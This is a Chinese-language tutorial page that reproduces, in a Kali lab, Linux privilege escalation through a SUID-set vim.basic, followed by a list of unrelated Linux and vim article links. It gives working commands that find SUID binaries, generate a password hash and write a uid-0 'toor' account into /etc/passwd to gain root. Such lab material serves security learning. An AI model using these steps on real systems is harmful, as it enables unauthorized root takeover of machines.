Linux使用suid vim.basic文件實(shí)現(xiàn)提權(quán)
在kali上復(fù)現(xiàn)
先給需要的vim.basic文件設(shè)置suid權(quán)限
chmod u+s /usr/bin/vim.basic
先adduser test1一個普通權(quán)限用戶
現(xiàn)在就是一個合適的提權(quán)環(huán)境
通過以下命令可以找到存在suid權(quán)限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \；
可用于提權(quán)的文件有
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
利用vim提權(quán)的思路是修改etc/passwd文件，為自己添加一個有root權(quán)限的用戶
passwd文件用戶格式為：用戶名:密碼:uid:gid:注釋:home目錄:用戶的shell
這邊可以看看root用戶的格式
root:x:0:0:root:/root:/bin/bash
（密碼這部分之所以是x，是因為真正的密碼存在/etc/shadow文件里）
生成密碼：用openssl passwd -1 –salt asd 123 （這里是-1（數(shù)字1）不是L）
直接寫在passwd文件里面，
toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash
用vim /etc/passwd可以修改，但是在保存是會出現(xiàn)E212，無法保存，提示我們沒有權(quán)限修改這個
這時應(yīng)該用之前find找到的vim.basic文件運(yùn)行，這個程序是有suid權(quán)限的。絕對可以修改
vim.basic /etc/passwd
用這個打開，然后修改文件，就可以成功保存
可以看到已經(jīng)添加了，su toor切換，密碼123，再id查看一下權(quán)限
root權(quán)限
chmod u+s /usr/bin/vim.basic
以上就是本文的全部內(nèi)容，希望對大家的學(xué)習(xí)有所幫助，也希望大家多多支持腳本之家。
- 一個簡單的linux命令 cat
- 每天一個linux命令之locate 命令
- Linux中Vi和Vim編輯器用法詳解
- linux系統(tǒng)下vim插件安裝介紹
- 在Linux系統(tǒng)中使用Vim讀寫遠(yuǎn)程文件的命令詳解
- Linux如何在Vim中更改顏色和主題
- linux下vi(vim)的新的用法總結(jié)
- linux常用工具vi/vim的使用完整版
- Linux Vim 實(shí)用命令詳解
- Linux 常用文本處理命令和vim文本編輯器
- Linux (Ubuntu 18.04) 下安裝vim編輯器的方法
- linux中的vi和vim編輯器操作方法
- 詳解Linux文本編輯器Vim
- 詳解Linux常用命令的用法（二）————文本編輯器命令vi/vim
- 詳解linux系統(tǒng)輸入輸出管理和vim的常用功能
- Linux使用VIM編輯器的方法
- Linux 下vim使用教程
- Linux下設(shè)置Vim編輯器里Tab的長度行號
- 在Linux中使用Vundle管理Vim插件的方法
- Linux命令之mkdir，cat，touch，vi/vim的詳解
相關(guān)文章
這篇文章主要介紹了Linux下關(guān)于coredump的定位方法說明,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2023-09-09
這篇文章主要介紹了Linux下大量SYN_SENT連接問題的解決方法,需要的朋友可以參考下2015-01-01
Swap空間的作用是當(dāng)系統(tǒng)的物理內(nèi)存不夠用的時候，就需要將物理內(nèi)存中的一部分空間釋放出來，以供當(dāng)前運(yùn)行的程序使用。這篇文章主要給大家介紹了關(guān)于Centos7中添加、刪除Swap交換分區(qū)的相關(guān)資料，以及Centos7下增加swap分區(qū)大小的方法，需要的朋友可以參考下。2018-04-04
這篇文章主要給大家介紹了關(guān)于linux中嘆號命令（!）的使用的相關(guān)資料，文中通過示例代碼介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2018-11-11
下面小編就為大家?guī)硪黄猯inux的一個find命令配合rm刪除某天前的文件方法。小編覺得挺不錯的，現(xiàn)在就分享給大家，也給大家做個參考。一起跟隨小編過來看看吧2016-12-12
這篇文章主要介紹了linux的基本命令mkdir使用詳解的相關(guān)資料,需要的朋友可以參考下2023-03-03
由于Linux的內(nèi)核參數(shù)信息都存在內(nèi)存中，因此可以通過命令直接修改，并且修改后直接生效。但是，當(dāng)系統(tǒng)重新啟動后，原來設(shè)置的參數(shù)值就會丟失，而系統(tǒng)每次啟動時都會自動去/etc/sysctl.conf文件中讀取內(nèi)核參數(shù)，因此將內(nèi)核的參數(shù)配置寫入這個文件中，是一個比較好的選擇。2017-11-11
修改.htaccess實(shí)現(xiàn)子目錄綁定示例分享
這篇文章主要介紹了修改.htaccess實(shí)現(xiàn)子目錄綁定示例,需要的朋友可以參考下2014-03-03
centos7修改網(wǎng)關(guān)和配置ip的方法示例
這篇文章主要介紹了centos7修改網(wǎng)關(guān)和配置ip的方法示例，文中通過示例代碼介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-08-08
Centos7.3開機(jī)自動啟動或執(zhí)行指定命令操作
這篇文章主要介紹了Centos7.3開機(jī)自動啟動或執(zhí)行指定命令操作，具有很好的參考價值，希望對大家有所幫助。一起跟隨小編過來看看吧2020-11-11